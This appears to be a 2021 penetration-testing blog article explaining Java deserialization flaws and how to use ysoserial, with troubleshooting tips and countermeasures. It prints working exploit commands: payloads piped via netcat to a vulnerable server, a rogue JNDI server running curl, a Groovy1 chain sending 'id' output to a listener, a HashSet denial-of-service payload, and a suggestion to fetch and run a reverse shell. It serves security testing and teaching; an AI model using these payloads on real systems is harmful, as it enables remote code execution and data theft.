Testing and exploiting Java Deserialization in 2021

Since 2015, when Java deserialization was a major threat, lots of patches and improvements have been introduced. How to approach testing for Java serialization to achieve the best results? How do you use ysoserial properly? Learn it from the article below.

The article is based on talks I gave recently at Polish conferences: OhMyHack, The Hack Summit and also the OWASP Poland online meetup.

There was not any new technique discovered, but rather I made a summary of the current "state of the art". Moreover, I did some reading of Ysoserial's source code to see how each payload is meant to work, which also resulted in creating a kind of guide to using Ysoserial. You can also find some practical tips I share based on my own experience with penetration testing Java applications.

As in 2021 Java environments are becoming more and more hardened (libraries are being patched, JEP 290 and similar patches are introduced, no new gadgets are being published), it is worth summarizing the current boundaries of serialization exploitation. Is Java deserialization still a threat? Or did the patches completely kill it?

As the article is pretty long, I'll start it with a TLDR, so you can look for anything that interests you within the post. Also, I've added some external references to interesting content on the subject of Java Deserialization.

TLDR

  • During whitebox analysis, look for readObject(), which is a potential sink for deserialization vulnerabilities. Also, you might want to test the exemplary vulnerable TCP server. Don't forget to add the required dependencies to its classpath. For testing Ysoserial payloads, you might add ysoserial.jar itself as a dependency, as described in the README.
  • Use Nicky Bloor's Serialization Dumper to inspect serialized objects to confirm what they are. Apart from deserialization flaws to be exploited with Ysoserial, it is possible that logical information is being transported in the serialized stream (e.g. user=admin).
  • Ysoserial has more uses than just getting instant RCE. For blind testing, use URLDNS or JRMPClient/Listener payloads. Apart from instant RCE, it's worth noticing how to use payloads related to FileUpload or Object Lookup.
  • Be prepared to face stack traces; they don't always mean that you failed. See what to do if you find errors like SerialUID Mismatch or ClassNotFoundException at the end of this article.

1. What is deserialization: quick review

Serialization (and the reverse process, deserialization) is simply a feature of Java (and many other languages) which allows objects to be converted to a special, binary form, in which they can be transported and stored. Later, they can be recreated (deserialized) in their original form in another Java Virtual Machine (so the Java Environment is involved in serializing and deserializing data), regardless of whether it's just another process or a completely different physical machine.

If you don't understand the very basics of Java Serialization, I'd recommend reading some of these articles first:

Why is Java Serialization even interesting for security researchers? Basically, it's nothing new that untrusted deserialization can lead to remote code execution. There's a well known presentation named Marshalling Pickles that led to the Java Deserialization Apocalypse in 2015/2016, together with the tool Ysoserial, which was released shortly afterwards. It allows for automatic exploitation of Java deserialization vulnerabilities. Ysoserial will be covered in depth later on in this article.

Serialization regards Java objects. Java is an object-oriented programming language (OOP), so you can expect that almost everything in Java is an object. Usually, we will refer to an object as an instance of a Java class.

Note that a class instance can at the same time contain multiple fields, and each of these fields might be an instance of another class. So the serialized object is a pack of Java "prefabricates" with some description added about how to bring them back to their original state.

At the deserializing end (another application / process / machine / whatever calls the deserialization function on the object), this object is recreated (deserialized).

The deserializing end basically has no idea what the object should look like after recreating. And basically this is what a deserialization vulnerability is all about: when there's no check of what should arrive at the deserializing end, why shouldn't we send something unexpected?

2. Root cause of deserialization vulnerability

In order to re-create an object from its serialized state, Java provides a special function (or rather a set of functions), which has to be used on a serialized object in order to deserialize it, which means creating an instance of that object on the deserializing end. We'll consider just ObjectInputStream.readObject() so as not to dive too deeply, but keep in mind that this is not the only deserialization sink that exists.

readObject() alone is just responsible for creating (instantiating) the serialized object and not for checking what kind of object it is. Thus, if nobody takes extra care of security, then any object can be deserialized.

As said previously, a serialized object can be a nested pack of other objects. What deserialization exploits use is nested objects which are manipulated in a way that they behave like a method which is executed upon instantiating an object. Such an effect is possible when a legitimate serialized object is manipulated, e.g. on a binary level or using the Java Reflection API. As an effect, the object, upon being deserialized, behaves like a jack-in-the-box.

The process is described in detail in the Java documentation:

Reading an object is analogous to running the constructors of a new object. Memory is allocated for the object and initialized to zero (NULL). No-arg constructors are invoked for the non-serializable classes and then the fields of the serializable classes are restored from the stream starting with the serializable class closest to java.lang.object and finishing with the object's most specific class.

If you are interested in more functions that deserialize objects, check the Java Docs:

https://docs.oracle.com/en/java/javase/12/docs/api/java.base/java/io/ObjectInputStream.html

When inspecting an application in a white-box approach, look for readObject() functions. They are potential sinks of deserialization vulnerabilities (of course, if you are able to deliver user-controlled data to them). Software vendors often build their own wrappers for readObject, e.g. consider a function vendorDeserialize() being present in the source code but using ois.readObject() under the hood.

As already said, the readObject() call alone is sufficient to introduce the vulnerability to a piece of software. For the sake of testing deserialization issues, here's a simple TCP server, already mentioned before, that just deserializes anything that is sent to its listening port. See the Github repo for instructions on how to play with it.

If you want to run this example on your own, download and build it from the Github repo linked above.

As you can see, after readObject(), the object has just been instantiated, which was sufficient to perform exploitation on the server. Even if someone calls a series of checks after the object is "read", it's already too late.

3. Speaking and understanding serialization protocol

In order to be able to serialize and then deserialize an object, some conditions have to be met:

  • An object to be serialized has to implement the Serializable interface (so the JVM treats it differently under the hood, allowing for packing it if needed)
  • All the classes to be deserialized have to be present on the deserializing classpath. Serialization concerns the state of an object, but the definition has to be already present on the deserializing side.

If you were able to perform static analysis on an application, then you can confirm the existence of deserialization sinks via the presence of readObject(). But in order to be able to test a deserialization vulnerability, you also have to find a way to deliver the serialized data to that sink. Usually, the easiest way to spot serialization being in use is to inspect application traffic.

Java serialized objects have a specific signature which allows them to be easily identified, which is binary 0xaced0005. It translates to rO0AB in base64. Note that a serialized Java object might be wrapped in any kind of encryption or encoding, thus when dealing with a Java application it is worth digging deeply into any encoded data being sent. That involves e.g. TCP traffic, or HTTP channels like POST parameters, Cookies and Headers.

If there's any data you suspect of being a serialized Java object, you can use a tool named Serialization Dumper to inspect it.

SerializationDumper parsing a serialized object
SerializationDumper parsing a serialized object

One of the fields is SerialUID, which is a unique class version identifier. This is something that might cause your payloads to fail, and it's described later on in the "Troubleshooting" section along with other issues.

4. Testing with Ysoserial

As mentioned earlier, Ysoserial is a tool for exploiting Java deserialization vulnerabilities. It consists of modules named payloads. Each payload generates a serialized object which, once instantiated, invokes some kind of action.

A serialized object might be made from classes which have some fields (which are also classes) already set up and tweaked using Java reflection or binary manipulation. This is exactly what ysoserial does. These prefabricated objects, which in turn create a bigger object that invokes some kind of operation upon instantiation, are called gadgets.

The classes that have some specific features making them usable as gadgets are rarely native Java classes. They are often more sophisticated objects which are parts of some commonly used libraries (so they are likely to be present on most classpaths, which in turn makes them a good choice for crafting serialized objects targeting deserialization vulns). These libraries are called gadget libraries.

So Ysoserial, apart from payloads, makes use of gadget libraries to generate serialized objects, which upon instantiation result in invoking some action. Now, I'll briefly explain which payloads create which action.

What I've seen recently on various internet blog posts is a suggestion to use Ysoserial in a "for" loop, iterating over payloads. This is not how you use this tool, and you are losing some of its potential by doing that.

Basically, if you look at the source code of ysoserial's payloads, you will find comments indicating the proper usage of each payload module. I've posted a short summary of it below. Note that the existence of serialized objects in communication does not mean that the application is vulnerable. This can just as well be properly designed serialization (which checks the type of data before instantiating anything) or a patched application. A proper testing approach should allow you to tell: is it deserializing anything but no gadgets are available, or is it a securely designed application?

4.1 FileUpload, Wicket1

These are similar to each other. The serialized object relies on the DiskFileItem class, which results in creating a file on the remote OS. If you look at the source code of e.g. FileUpload1, you'll find the usage in the code's comments. If the remote classpath contains FileUpload / Wicket dependencies and is vulnerable to insecure deserialization, you can use the following command to generate ysoserial's payload:

java -jar ysoserial.jar FileUpload1 "write;/tmp;CONTENTSOFTHEFILE"

This will make the remote JVM save a randomly named file with the content CONTENTSOFTHEFILE in the /tmp directory.

There are two ysoserial payloads dedicated to exploitation of RMI Registries. However, after JEP290, remote exploitation of RMI Registries is a lot more difficult.

These payloads were designed to be used together: JRMPListener opens a dummy RMI Registry and JRMPClient allowed for remote exploitation of it if the target JRE is not patched with JEP290.

Also, JRMPListener can be used to host a payload on a rogue RMI Registry to be deserialized, and JRMPClient can be used against the target to connect back to the attacker's registry and deserialize the payload. This is used in e.g. Weblogic CVE-2018-2628 (https://www.exploit-db.com/exploits/44553). The listener can be opened using the command:

java -cp ysoserial.jar ysoserial.exploit.JRMPListener <port> <payload_type> <payload_arguments>
JRMPListener on port 1099 serving a Groovy1 payload
JRMPListener on port 1099 serving a Groovy1 payload

Even if you won't get RCE this way, those two payloads can be used for blind detection of insecure deserialization, since they rely on native Java classes. When used as standalone payloads, JRMPClient will make the deserializing end perform a kind of TCP SSRF, trying to connect to an RMI Registry (which is proof that the payload was deserialized), and using JRMPListener, you can make the deserializing endpoint open a dummy RMI Registry (without any binding).

java -jar /root/Tools/ysoserial.jar JRMPClient 127.0.0.1:1099
Sending the JRMPClient payload to the vulnerable TCP server
Sending the JRMPClient payload to the vulnerable TCP server

This results in performing a request to the Listener. However, the directory is not created even if the classpath on the vulnerable side is complete, which is due to Java being patched.

The listener receives the connection and sends the payload
The listener receives the connection and sends the payload
java -jar ysoserial.jar JRMPListener 1199

This one makes the deserializing end open an empty RMI registry.

Sending the JRMPListener payload
Sending the JRMPListener payload
nmap shows the new RMI registry on port 1199
nmap shows the new RMI registry on port 1199

4.3 Object Lookup payloads

Object Lookup is a Java feature related to the Java Naming and Directory Interface. In short, it allows for retrieving ("looking up") remote Objects from various sources. These sources can be LDAP directories, RMI Servers or HTTP Servers. Usually, this feature is abused in the JNDI Injection vulnerability class, which you can read more about here and here.

Payloads that rely on this attack vector need you to host a malicious object on your side, and the deserializing end will perform a lookup of the malicious object, which means it will download and execute it. Due to hardening of modern Java, there are some caveats which won't be discussed here due to being too extensive. In short, in the past you were able to just host a compiled Java class to be executed. Now it has to meet some more requirements, which are described in the aforementioned article about JNDI Injections.

During experiments, I was not able to get Hibernate2 and Myfaces2 to work; however, I was able to get C3P0 working while hosting the malicious Object using Artsploit's Rogue JNDI.

To use this payload, first we run a netcat listener and a vulnerable TCP server.

This payload (if C3P0 gadgets are present on the classpath) can be used to craft both an SSRF and an RCE. For a simple SSRF (Lookup attempt), use:

java -jar ysoserial.jar C3P0 "http://127.0.0.1:9999/:SSRF" | nc -v 127.0.0.1 12345
The lookup request arrives at the netcat listener
The lookup request arrives at the netcat listener

For RCE, we'll need to set up rogue-jndi and point the ysoserial payload to it.

java -jar ysoserial.jar C3P0 "http://127.0.0.1:8000/:xExportObject" | nc -v 127.0.0.1 12345
Sending the C3P0 payload pointing to rogue-jndi
Sending the C3P0 payload pointing to rogue-jndi

While on port 8000 there's rogue-jndi listening:

java -jar RogueJndi-1.1.jar -c "curl http://127.0.0.1:9999/rce"
rogue-jndi serving the malicious object
rogue-jndi serving the malicious object

Which results in executing the malicious object:

The curl from the executed command reaches the listener
The curl from the executed command reaches the listener

4.4 URLDNS Payload

A very powerful payload in terms of blind testing. DNS Lookup is a feature of Java when handling a serialized URL object crafted in a specific way. It's powerful because that payload also does not require any additional libraries to work. Use it as:

java -jar /root/Tools/ysoserial.jar URLDNS "http://12345.burpcollaborator.net"

This results in a DNS lookup. While it's not much of an impact, it's a good way to confirm that insecure deserialization exists.

If you do not have Burp Pro, you can use DNSChef to receive the DNS interaction. Note that this payload is also designed just to detect arbitrary deserialization; the DNS resolution does not add any significant impact (the most significant I can think of is revealing an internal host IP).

4.5 Jython and Myfaces

I was not able to get them working during my tests. However, the Jython payload is supposed to work in a similar manner to FileUpload, with one difference: it also runs the uploaded script.

Myfaces1 should rely on executing an EL expression; however, during experiments I was not able to get it working either.

4.6 RCE Payloads

All other payloads are designed for direct Code Execution. Note that on modern Java you will have trouble running CommonsCollections 1-4 included due to hardening of JDK classes. If you have access to stack traces, this can be confirmed if an error "missing element entrySet" is found.

4.7 DoS payloads

The native JDK DoS PoC relies on a recursive HashSet. You can find the original one here; I just changed it a bit so it generates a serialized payload instead of deserializing itself instantly. You can download the modified version of this payload here. The serialized payload, when sent to the vulnerable TCP server, causes resource consumption to spike. We generate the DoS payload:

javac SerialDOS.java && java SerialDOS && cat dos.ser | nc -v 127.0.0.1 12345
CPU usage of the Java process spikes after the DoS payload
CPU usage of the Java process spikes after the DoS payload

4.8 Other public exploits & payloads

Interesting exploits and Ysoserial forks that contain additional payloads:

5. Troubleshooting

There are numerous things that might go wrong when exploiting serialization flaws. For successful serialization and deserialization, there are the following requirements:

  • Objects to be serialized have to implement the Serializable interface
  • The data has to be serialized and transported; you need a reliable way of payload delivery (e.g. HTTP traffic)
  • The object has to be deserialized (instantiated) on the other end, which requires that:
    • Data has to arrive in unchanged form, including proper encoding, especially when going through multiple devices / proxies
    • The remote classpath has to include all classes that are to be deserialized
    • The SerialVersionUID has to match the value known on the deserializing end
    • There either should not be any process filters (e.g. insecure deserialization with ReadObject) or the deserialized data has to match the filter rules

If any of these requirements is not met, you are probably going to receive a long stack trace. Unless you work with Java on a regular basis, you might feel discouraged by the unclear stack traces appearing. Below you can find explanations for popular errors and how to solve them.

5.1 ClassNotFound Exception

This means that a class (its name will be listed in the stack trace) is not on the target classpath. This might mean that the target classpath is patched, e.g. even if there are vulnerable libraries on it, they might have the gadget classes cut off. However, if during a penetration test you are able to obtain information on which classes are on the classpath, you can try to enumerate them. A tool named GadgetProbe might be helpful in that case.

5.2 SerialUID Mismatch / InvalidClassException

SerialUID is a unique class identifier which helps the JVM ensure the integrity of a serialized object's version. Quoting the Java docs:

"The serialization runtime associates with each serializable class a version number, called a serialVersionUID, which is used during deserialization to verify that the sender and receiver of a serialized object have loaded classes for that object that are compatible with respect to serialization. If the receiver has loaded a class for the object that has a different serialVersionUID than that of the corresponding sender's class, then deserialization will result in an InvalidClassException. A serializable class can declare its own serialVersionUID explicitly by declaring a field named serialVersionUID that must be static, final, and of type long"

In short, a SerialVersionUID mismatch might occur if you use a different library version to construct your serialized payload (e.g. 1.2 instead of 1.3). In order to fix it, you can:

  • try various versions of the library which contains the faulty class
  • use a Java debugger to fix the serialUID at runtime

A great article by RhinoSecurityLabs shows how to deal with such an issue in a real-life scenario.

5.3 Filter status REJECTED

The message "filter status REJECTED" present in the stack trace means that the application employs serialization filtering, which in turn means that it can be hardened. Serialization filters are one of the recommended ways to deal with unsafe deserialization, and they restrict which types of data can be instantiated during deserialization and which cannot.

5.4 java.io.IOException: Cannot run program "xyz"

This means that your payload is working but the program to be executed was not found. This can be due to a missing binary or an OS mismatch (e.g. you try to run notepad.exe on Linux).

Also, there are two more popular issues not related to stack traces:

5.5 Shell commands not working

When constructing a command to be executed by ysoserial's payload on Linux, you need to be aware that piping and output redirectors will not work. The same goes for spaces in arguments to the main command's arguments (like sh -c "python -c \"import pty...\"").

This is because the final RCE sink, Java's Runtime.exec() function, is not executed by bash itself, so typical bash features won't be available. There's a detailed explanation by CodeWhiteSec if you want to understand why. If you want to execute a chained command using ysoserial, use:

java -jar /root/Tools/ysoserial.jar Groovy1 'sh -c $@|sh . echo [now you can chain commands and use spaces in arguments here]'

e.g.

java -jar /root/Tools/ysoserial.jar Groovy1 'sh -c $@|sh . echo id | curl http://localhost:1234'

Of course, it's not a must, and if you have already achieved a single command execution, you can also do the same thing by executing several commands, like downloading a reverse shell with curl from your machine, then running chmod +x on the reverse shell and then executing it to connect back to you.

5.6 Anticipating Java version without any evidence

It is likely that the Java version on the target machine is up to date. Also, even if it's not the latest version, the JEP290 patch which targets serialization also works with older versions (at least JDK 1.7u21 or newer). But keep in mind that many Java applications are often large appliances that have many dependencies. There is a high likelihood of them not being updated by their owners, as they are afraid of breaking them. If an application is a virtual appliance (shipped with the underlying OS), then there is a likelihood that the Java version is still the same as when it was released.

6. Countermeasures

First and most important: do not deserialize arbitrary data. If you are already doing it in your application, you can do the following:

  • Employ open source solutions like SerialKiller or Contrast-rO0
  • Use built-in serialization filtering

It is sometimes difficult to prove that a serialization flaw poses a security risk. There is a limited number of gadget chains available publicly, and developing a custom gadget chain is a non-trivial task.

It is difficult to convince anybody that the fact that an application does an arbitrary DNS resolution should be classified as high impact. So basically, if you do not have a working gadget chain, unfortunately the deserialization flaw you found is a classic example of "low likelihood of high impact".

Anyway, any insecure deserialization detected should be patched. Even if there seems to be no impact, keep in mind that the appearance of a new gadget chain can instantly turn it into an RCE.

7. References


Originally published in February 2021.